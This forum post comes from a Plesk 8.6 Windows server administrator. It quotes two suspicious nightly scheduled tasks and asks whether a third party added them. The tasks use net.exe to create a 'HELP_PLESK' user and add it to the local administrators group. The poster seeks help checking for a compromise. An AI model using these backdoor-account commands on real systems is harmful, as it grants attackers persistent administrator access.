    Hi All,

    I have noticed that there is two scheduled task from Plesk that is scheduled to run every midnight (Plesk 8.6):


    ===================

    Plesk Scheduler Task #56974aa80611c7ea2f93f0617354d813

    C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\Parallels\Plesk\admin\bin\runtask.exe" --defaultmail "--application=net.exe" "--parameters=user HELP_PLESK apassword /add""

    Plesk Scheduler Task #5ff893fff01088772737ca70b1fef982

    C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\Parallels\Plesk\admin\bin\runtask.exe" --defaultmail "--application=net.exe" "--parameters=localgroup administrators HELP_PLESK /add""

    ===================

    Both of the task is added to the system the same time as other Plesk scheduled tasks such as statistics.exe


    I have tested to login as this new user created via remote desktop, and I was granted full administrator right...

    Does anyone have the above two scheduled tasks? Or do you think that these two tasks is added by third party?
